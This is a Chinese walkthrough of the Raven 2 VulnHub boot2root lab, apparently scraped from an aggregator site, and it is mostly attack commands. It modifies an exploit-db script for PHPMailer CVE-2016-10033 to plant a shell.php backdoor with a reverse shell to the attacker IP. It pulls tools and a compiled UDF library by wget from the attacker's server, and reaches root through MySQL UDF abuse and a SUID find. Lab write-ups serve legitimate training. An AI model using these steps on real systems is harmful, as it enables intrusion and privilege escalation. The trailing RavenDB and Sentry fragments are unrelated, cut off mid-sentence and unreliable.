- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
Raven 2是一个中级boot2root虚拟机。有四面旗帜需要捕捉。在多次入侵之后,Raven Security采取了额外措施来加固他们的网络服务器,以防止黑客进入。你还能入侵Raven吗?
kali 192.168.31.153 Raven2 192.168.31.216 靶场环境下载: https://www.vulnhub.com/entry/raven-2,269/ 。
环境搭建成功后,使用nmap扫描ip段,探测存活主机 。
nmap 192.168.31.0/24
发现存活主机,在浏览器访问http://192.168.31.216,查看web页面 。
第一步:对web页面进行信息收集,端口扫描,文件目录遍历 web页面:about.html service.html team.html /wordpress/ contact.php 端口扫描 。
nmap 192.168.31.216 -sV -O -p-
得到22 80 111 33177(一个未知端口),系统是debian 文件目录遍历,得到/js/ /vendor/ /manual/ /wordpress/wp-login.php 。
首先查看manual/index.html,是一个apache指引说明参考手册页面 在http://192.168.31.216/vendor/SECURITY.md 描述说明了PHPMailer的几个版本漏洞CVE,在http://192.168.31.216/vendor/VERSION描述了是PHPMailer5.2.16版本 。
浏览器搜索发现PHPMailer5.2.16的版本漏洞是CVE-2016-10033 可以去https://www.exploit-db.com/搜索相关漏洞,或者直接在kali使用searchsploit命令查找漏洞脚本 这里我为了方便展示,打开一个新窗口使用kali的searchsploit命令查找 。
searchsploit PHPMailer
find / -name 40974.py //这里使用40974.py脚本
将40974.py复制到/root目录下方便操作也不会将源文件改错 。
cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/40974.py
vim 40974.py //修改脚本参数内容
内容修改:
#!/usr/bin/python
# -*- coding:utf-8 -*-
target = 'http://192.168.31.216/contact.php' //这是要入侵的目标页面
backdoor = '/shell.php' //写入后门
\\\'192.168.31.153\\\',5656 //kali要监听的端口和ip
-X/var/www/html/shell.php //写入的payload
修改完毕后,开始运行脚本文件写入后门 。
python3 40974.py //如果有报错使用以下代码,如果没有就不用
sudo apt-get install python3-pip //其中会安装此脚本需要的requests_toolbelt模块
运行脚本就会出现此界面,需要去访问http://192.168.31.216/contact.php才能生成后门脚本shell.php 。
访问完后,开启kali的nc监听 。
nc -lvnp 5656 //这里对应前面设置的5656端口
访问http://192.168.31.216/shell.php
使用python的pty 获取linux框架shell 。
python -c 'import pty;pty.spawn("/bin/bash")'
在/var/www/下有一个flag2.txt,这是第三个 第一个flag: http://192.168.31.216/vendor/PATH 第二个( http://192.168.31.216/wordpress/wp-content/uploads/2018/11/flag3.png )和第三个可以使用 find / -name flag* 命令查找 第四个要继续查找,现在已经getshell,接下去就是提权,首先对后台进行信息收集 查找关键信息及线索,在/var/www/html目录下使用ls查看文件,发现有一个wordpress的文件夹,cd进去寻找信息 。
ls
cd wordpress
再次使用ls可以看到一堆的wordpress框架文件
这里重点看配置文件wp-config.php,使用cat wp-config.php查看配置 发现了数据库为 wordpress 数据库用户 root 密码 R@v3nSecurity 。
接下来我们可以使用LinEnum.sh信息收集脚本对整个后台系统的扫描一遍 。
脚本下载地址:https://github.com/rebootuser/LinEnum
kali使用python开启http服务
python3 -m http.server 8989
在靶机后台使用:
wget http://192.168.31.153:8989/LinEnum.sh //这里我已经把脚本放在/root目录下
赋予执行权限
chmod +x LinEnum.sh
./LinEnum.sh //执行扫描
在此处可以发现登陆的数据库是root最高权限,那么我们就可以利用数据库来提权 涉及到数据库提权可以尝试使用udf提权方式获取最高权限 。
现在已知只要登陆数据库提权就是root,我们使用dpkg -l | grep mysql 查询是否有mysql及其版本信息 。
dpkg -l | grep mysql
发现是mysql 5.5.60版本,接着就是在kali中搜索mysql udf 。
searchsploit mysql udf
我们使用第二个 1518.c脚本,find / -name 1518.c查找路径,依旧复制出来修改并使用 。
find / -name 1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/1518.c
使用gcc命令对1518.c进行编译成so文件
gcc -g -c 1518.c
gcc -g -shared -o cmd.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
利用http服务将so文件传输到靶机后台 。
wget http://192.168.31.153:8989/cmd.so
注:此处我传输的位置是在/var/www/html目录下,与后面传入数据库有关系
传输成功,现在登录mysql查询secure_file_priv是否为空 。
mysql -u root -pR@v3nSecurity //登录mysql
show global variables like 'secure%'; //查询secure_file_priv
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
发现可写入文件,开始接下来的udf提权操作 。
show databases; //查询所有数据库
use mysql; //使用mysql数据库
create table raven2(line blob); //创建表raven2
insert into raven2 values(load_file('/var/www/html/cmd.so')); //将刚上传的cmd.so插入表
raven2表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出,outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数
select * from raven2 into dumpfile '/usr/lib/mysql/plugin/cmd.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'cmd.so';
查询函数是否创建成功
select * from mysql.func;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find');
执行find命令
find / -exec "/bin/sh" \;
成功获取root权限,得到最后一个flag 。
1.WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。 2.成因 : 在漏洞文件class.phpmailer.php中,phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此可以进行任意构造拼接,从而产生了系统命令注入漏洞 。
最后此篇关于Raven2项目实战的文章就讲到这里了,如果你想了解更多关于Raven2项目实战的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
Raven.Client.Authorization 的当前版本是来自 Raven.Client 的版本。新的 Raven.Clients 允许您使用最新的 Json.Net 包,因此可以使用 Res
更具体地说,在Raven DB中,我想创建一个具有如下签名的通用方法: public void Clear() {... 然后让Raven DB清除给定类型的所有文档。 我从Ayende的其他帖子中了
我只是想确定 Raven DB 使用的文件系统上的文件是否加密?有人可以直接打开文件系统上的文件并将它们从二进制直接转换为 ASCII,还是加密? 我正试图说服我们的管理层给 RavenDB 一个机会
我正在尝试将带有异常报告的附加数据传递给sentri。 测试代码 Raven.captureMessage("test", {"blabla": "blabla"}) 在sentri admin中我可
我已经配置了raven来获取错误日志,我已经在哨兵控制面板中成功获取了日志,但是设置完成后,控制台日志就消失了。 我什至尝试通过在配置时将autoBreadcrumbs设置为false,仍然没有运气
我已经installed raven-js using Bower我正在使用 captureMessage()向 Sentry 发送自定义消息。 发送其中一条消息后,我需要重新加载页面。问题是,如果我
我需要获取特定集合中的文档计数: 现有索引 Raven/DocumentCollections 存储与属于该集合的实际文档配对的集合的计数和名称。如果可能的话,我想从此索引中获取计数。 这是 Rave
我正在构建一个脚本来检查损坏的索引并重置它们,但我在本地获取损坏的索引时遇到问题。 有人知道如何强制 RavenDB 索引损坏吗? 最佳答案 要导致损坏,您可以删除头文件之一(headers.one
有没有办法查询 RavenDB 文档存储并找出陈旧索引的陈旧程度? 本质上,我想做的是将结果提供给用户,同时也让他们了解还需要完成多少索引。 这在大数据导入场景中会很好。 最佳答案 当然,你可以这样做
我有一个打开版本控制包的数据库。我进行导出,然后尝试将导出的转储导入到新创建的数据库中。我收到异常“不允许修改历史修订版”。我发现this Ayende 的问答,这是设计使然。但是,如果版本控制包已打
我在查询 RavenDB 时遇到了问题,即使是最简单的查询,可能我做错了什么,但几个小时后我就看不到它了。我用谷歌搜索了几乎所有我能想到的东西.. 我有这些实体: public class U
我使用以下日志配置在 Django 1.4 上配置了 Raven 2.0.2: 'handlers': { ... 'sentry': { 'level':'INFO'
我有一个树结构,其中的节点同时具有子指针和父指针。我在让它很好地序列化时遇到了一些问题(这将用于配置,因此它需要对操作/配置管理器有一定的可读性),并且在尝试了序列化约定和属性的不同组合之后我仍然卡住
Raven DB 可以使用哪些数据访问架构? 基本上,我想通过接口(interface)分离持久性,所以我不会将下划线存储暴露给上层。 IE。我不希望我的域看到来自 Raven DB 的 IDocum
我正在使用 raven 和 getsentry 在 django 中记录消息,但记录似乎延迟了代码的执行。例如: # ...view code tic = datetime.datetime.now(
我有这样的代码: public bool Set(IEnumerable requests) { var documentSession = _documentStore.Op
我有以下 2 个实体模型: public class Store : IModel { public string Id { get; set; }
谁能帮我加快这个查询速度?我正在使用 RavenDB 3.5.8 并且以下查询需要相当长的时间(在第一次加载时尤其如此): var query = session .Q
我正在寻找一种在 Raven DB 中生成测试数据的首选且可维护的方式。目前,我们的团队确实有办法通过 .NET 代码来做到这一点。提供了示例。 但是,我正在寻找不同的选择。请分享。 public v
很难说出这里问的是什么。这个问题是含糊的、模糊的、不完整的、过于宽泛的或修辞性的,无法以目前的形式得到合理的回答。如需帮助澄清此问题以便重新打开它,visit the help center 。 已关
我是一名优秀的程序员,十分优秀!